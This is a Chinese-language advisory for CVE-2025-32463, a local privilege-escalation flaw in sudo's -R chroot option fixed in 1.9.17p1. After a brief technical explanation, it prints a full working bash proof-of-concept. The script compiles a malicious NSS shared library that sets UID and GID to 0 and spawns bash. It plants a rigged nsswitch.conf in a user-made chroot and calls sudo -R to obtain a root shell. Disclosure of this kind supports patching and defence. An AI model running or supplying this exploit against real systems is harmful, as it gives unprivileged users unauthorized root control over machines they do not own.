Sudo chroot 1.9.17本地权限提升
风险等级: 中等
本地利用: 是
远程利用: 否
CVE编号: CVE-2025-32463
CWE编号: CWE-264
漏洞概述
攻击者可以利用sudo的-R(–chroot)选项以root权限运行任意命令,即使这些命令未在sudoers文件中列出。
受影响版本:
技术细节
Sudo的-R(–chroot)选项旨在允许用户在sudoers文件允许的情况下,使用用户选择的根目录运行命令。在sudo 1.9.14中进行的更改导致在评估sudoers文件时,通过chroot()使用用户指定的根目录解析路径。攻击者可以通过在用户指定的根目录下创建/etc/nsswitch.conf文件,诱使sudo加载任意共享库。
该漏洞已在sudo 1.9.17p1中修复,chroot功能已被标记为弃用,并将在未来的sudo版本中完全移除。
影响
在支持/etc/nsswitch.conf的系统上,用户可能能够以root权限运行任意命令。
漏洞利用
验证sudo版本
PoC利用代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
#!/bin/bash
# sudo-chwoot.sh – PoC CVE-2025-32463
set -e
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd "$STAGE"
# 1. NSS库
cat > woot1337.c <<'EOF'
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor))
void woot(void) {
setreuid(0,0); /* 更改为UID 0 */
setregid(0,0); /* 更改为GID 0 */
chdir("/"); /* 退出chroot */
execl("/bin/bash","/bin/bash",NULL); /* root shell */
}
EOF
# 2. 包含恶意nsswitch.conf的迷你chroot
mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc # 使getgrnam()不会失败
# 3. 编译libnss_
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c
echo "[*] 运行漏洞利用…"
sudo -R woot woot # (-R <目录> <命令>)
# • 第一个"woot"是chroot目录
# • 第二个"woot"是不存在的命令
# (只需要解析用户)
rm -rf "$STAGE"
|
参考链接
详细漏洞描述和影响分析请参考Stratascale安全公告:
https://www.stratascale.com/vulnerability-alert-CVE-2025-32463-sudo-chroot